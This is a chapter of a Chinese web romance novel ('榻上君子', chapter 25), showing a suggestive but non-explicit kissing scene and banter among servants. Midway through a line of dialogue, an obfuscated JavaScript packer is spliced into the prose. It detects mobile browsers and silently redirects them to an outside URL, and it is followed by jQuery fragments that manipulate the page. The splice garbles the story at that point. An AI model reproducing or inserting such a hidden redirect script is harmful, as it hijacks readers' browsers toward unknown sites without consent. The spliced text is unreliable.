25. 心间蜜语

作品:《榻上君子

    公冶慎抬手,修长的手指抓住话本的另一侧,手指骨节分明微微泛寒,细腻的肤色温润如白玉。


    卫姎呼吸滞住瞬息,垂眸一眨不眨地盯着他的动作,话本一点点地从手中被他抽离,那丝丝缕缕的摩擦似乎撩动的不是书页,是她的心。


    “少君可准备好了?”


    公冶慎倾身向她,极具温柔情欲的吐息正正流连于她面庞,扰得她心神恍惚。


    卫姎的面色已经开始泛红,气息变得有些急促,体内翻滚着一股怎么都压不住的炽热。


    她的目光落在眼前青年的身上,自己身着轻薄的里衣披头散发满是随意,而他发冠尚正一丝不苟,繁复的衣领整齐规矩,连神情都毫无异样,怎么看都是一副衣冠楚楚的正人君子模样。


    若不是他滚烫的呼吸和直勾勾的眼神出卖了那颗燥热的心,或许卫姎也会以为是自己太浪荡。


    她和公冶慎本就你情我愿,公冶慎有心引诱,自己也甘愿沉沦,都到这份上还有什么好深究的。


    她嬉笑着两手抱住青年的肩:“自然是……准备好了。”


    少女的语气像是埋怨又像是撒娇,绕得它心里一颤一颤的。公冶慎眸色一沉,抬手各自扶住卫姎的后颈和后腰,猛地将人压倒在软榻之上。


    卫姎下意识惊呼,但因着男人保护得当,她没什么不适,只是方才乍然没反应过来。


    “你做什么?”


    她疑惑地问道,双手却依旧紧紧缠住他的脖颈,将他的身子往下压。


    公冶慎如她所愿,一点点贴近她的唇:“做你想要的事情。”


    话音刚落,他垂眸吻上自己心念已久的柔软之处。少女粉嫩樱唇被他噙住反复吮咬,一点点地描摹着她唇瓣的形状。


    卫姎双手顺着青年肩颈滑下抵在他胸膛,那曾是被她感叹过的紧实健壮之地,她仰头承受着男人的热吻,这一次的公冶慎攻势显然比之前都更猛烈霸道,卫姎喘息不得,稍稍松懈便被他撬开贝齿登堂入室。


    “唔……”


    卫姎轻轻推了推他的胸膛,公冶慎葱白如玉的手抚上她脸庞,无视了她细微的挣扎,身体力行地教导她如何在亲吻时抽空喘息换气。


    话本上的描写本就是为了下文铺垫,即便只写男女相吻就足够极致的香艳露骨,恨不得把所有手段都加上。


    但公冶慎毕竟拿捏着尺度,不敢越过雷池半步,只怕一时过火反倒事与愿违让少君厌烦他。


    可卫姎看了那么多话本也不是白费功夫的,她被亲得动了情哪里还会想着收敛,自然是怎么舒服怎么来。


    少女的唇舌间一转方才的承受下位,转为热切地主动逼进对方的领域。


    二人吻得难舍难分之时她双手也没闲着,不同于公冶慎只敢抚摸脸庞或最多隔着衣物箍住她柔软的腰间,卫姎的手十分灵巧地探进了青年的衣领间。


    “别……”


    公冶慎下意识去捉她的手腕,却被卫姎轻松躲过,她三下五除二搅乱了青年的衣裳,腰带都只松松垮垮地垂下,外衣锦袍前襟大开,露出最里面的白色里衣。


    那底下隐隐约约显现出的正是青年精瘦精壮的□□,卫姎正和公冶慎缠吻没法亲眼观赏,直接上手有意无意地用指尖撩擦他下腹的肌肤。


    公冶慎极其明显地呼吸沉重,连吻她时都加重了几分力气,带着不可言说的侵略性,不准她退也不许她再紧咬牙关抗拒,直至她浑身发软,只能倚在他怀里予取予求。


    这似乎在提醒她,别太着急。


    她们来日方长。


    卫姎终于知道为什么话本上的男男女女都那么喜欢亲吻彼此,从前只觉得二人黏糊糊地唇舌勾结奇怪又恶心,而今自己亲身尝试,这感觉确实令人着迷。


    二人靠在榻上各自平复呼吸,方才这一吻过于沉溺,她们还有点没缓过来。尤其是卫姎,反应过来自己方才入迷时扒公冶慎衣服的模样,都忍不住害羞捂脸。


    自己怎么……怎么那么饥渴!


    太丢脸了!


    不过她发现,旁边这个家伙似乎比她还丢脸。


    “公冶慎,你……”


    卫姎欲言又止,头转了又转,想说的话卡在喉咙里,只是忍笑盯着身旁的青年:“你是不是……”


    她想坐起身,被公冶慎伸手揽了回去:“别看。”


    “为什么?”


    她上半身被禁锢在青年胸膛中动弹不得,还故作天真地抬眸盯着他隐忍的表情,心里却偷着笑。


    “不为什么……嗯……别乱动。”


    公冶慎空出一只手摁住卫姎往上磨蹭挑逗的膝盖,终于服软求饶似地亲亲她的脸颊:“别这样好不好,阿姎?”


    卫姎心情见状好了点,便高抬贵手准备放过他,礼尚往来地亲了口他的侧脸后乖乖闭眼翻身不去看他:“你那个回去…嗯……自己回去处理好。”


    “少君,那我先回房了。”


    公冶慎快速地穿好刚刚被卫姎拆得凌乱松散的衣服,趁房中无人快步地退了出去。


    他既要做少君的内侍,为了方便起见就不再住临风院,改搬到山芳院的厢房中,还特地选了离少君卧房最近的那个。


    这会儿倒的确方便了他赶回房间,只是守在屋子里的常薛没反应过来,见主子急匆匆推门进来还以为出事了,连忙迎上去:“公子,你怎么了脸这么红!?”


    公冶慎懒得和这傻小子解释,眼下也是的确开不了口,直接给坐在后面的常敷使了个眼色让他把他那傻弟弟拉走,自己则抓起架子上挂着的里衣快步进了浴房。


    “诶,公子?”


    常薛还想再问直接被自家兄长一个手刀劈到后背上,疼得他嗷嗷叫:“哥!你打我干嘛?”


    常敷冷冷侧视:“疼吗?”


    “当然疼了!哥你不知道自己手劲多大吗?”常薛气得嘴都快撅出二里地了,一旁的常敷还是面不改色:“疼就对了,不然不长记性。”


    “以后,但凡公子是晚上从少君房里回来,你都别往上凑。记住了吗?”


    “为……哦,记住了。”常薛疑惑的心硬生生被兄长的冷脸逼了回去,只得委屈巴巴地坐回去。


    常敷不由得叹息两声,弟弟天天傻不拉几的真是太不开窍……同样都是在卫家长大的,见过的女子比吃的饭都多,他怎么就丝毫不懂呢?


    是不是要把自己珍藏的那些话本扔给他观赏学习几遍才行?


    常敷摇摇头,算了,傻人有傻福,常薛也自求多福吧。


    过了一会儿公冶慎在浴池里叫人拿一套新的里衣送进去,常敷推门而入,只见公子仰头倚在池边,被蒸腾水汽围绕着的润红色俊脸上满是餍足。


    “公子。”


    “放到这边


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352761|181331||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吧。”公冶慎伸手挑开那套被弄湿的里衣,懒洋洋地继续泡在热池里,“你说的不错,少君更喜欢直白的。”


    常敷眸色一动:“公子同少君……”


    “还没到那一步。”公冶慎开口打断他的想入非非,这家伙脑子里胡思乱想的东西最多,不解释怕是待会儿都要猜想到婚期定哪日了。


    “属下的错。”


    公冶慎循着声音回头看他,没在常敷脸上看到歉意,倒像是说不出的可惜和莫名的失望。


    他无奈:“不过,应该离那也不远了。”


    只要少君还有想再进一步的念头。


    “属下以为,凭公子的条件和能力,侍寝之事指日可待。”


    常敷边说边坚定地点头,少君很明显是喜欢公子这张脸的,公子不单脸生得俊美而且从小习武健体也没落下,身材绝对胜过大部分男儿,怎么看都是女娘最喜欢的类型。


    他那话听得公冶慎额角抽搐:“你……少看点那些乱七八糟的话本。”


    常敷委屈,常敷不解,他看的那些话本故事精彩文笔优美,描绘的爱情也缠绵悱恻动人心弦,都是上等佳作啊!


    公冶慎眼眸一转忽然想到了什么:“常敷,你去多找些话本献给少君吧。”


    古人的智慧,投其所好。


    “是。”


    常敷领命刚要出去,又被公冶慎叫住:“对了,话本男主人公尽量…咳咳,尽量挑狐狸相的。”


    懂了。


    常敷面无表情的点头,这事儿就交给他吧,全城的书局他都有人脉,绝对把带狐狸男主的话本全搜刮出来。


    公冶慎走后好一会儿卫姎才捂着脸从榻上坐起来,将自己掩埋进被子里闷声尖叫。


    “少君?”正好进来送睡前调养药膳的屈嫱听见她这奇怪的动静还以为卫姎不舒服,急得将托盘放在桌上就赶到了榻边,将埋在被子山里的少女拉出来。


    “你怎么……”


    只见卫姎小脸红扑扑地抱着话本,嘴唇还格外红肿,满脸都写着羞涩和……回味?


    屈嫱联想到方才公冶慎来过,少君现在又一副春心荡漾的样子,心中还能有什么不明白?


    “少君之前同我说什么来着?我看现在很是喜欢他呢,人都走了还如此不舍。”


    “阿嫱,你看你,又乱说。”卫姎收起呲着笑的大牙,“我只是觉得他服侍得不错,怎么就成喜欢了?”


    屈嫱不置可否,回去把药膳端了过来:“少君自己清楚是不是就行。”


    卫姎乖乖地接过汤碗,屈嫱是最不怕她发火的冷美人,嘴毒着呢。


    况且她不喜欢公冶慎不是一天两天的事情,卫姎也很清楚自己反悔留下公冶慎她肯定不高兴,只能稍微多顺着她一些。


    “将来还得相处很久呢,而且他的确也还不错嘛阿嫱……况且之前你们不也有过合作时候吗?”


    “那是……”因为之前还没见到你。


    屈嫱欲言又止,偏过头:“权宜之策罢了。”


    卫姎用脑袋蹭蹭她的肩膀:“哎呀阿嫱你就放心吧,我们之间能有什么。而且你不觉得折磨公冶慎这只老谋深算的狐狸最好的方式,就是让他心甘情愿地抛下颜面做我的狗吗?”


    她双眸亮晶晶地眨巴眨巴,叉腰笑得放肆张狂,似乎已经看到了公冶慎在自己榻上费尽心思讨好的模样。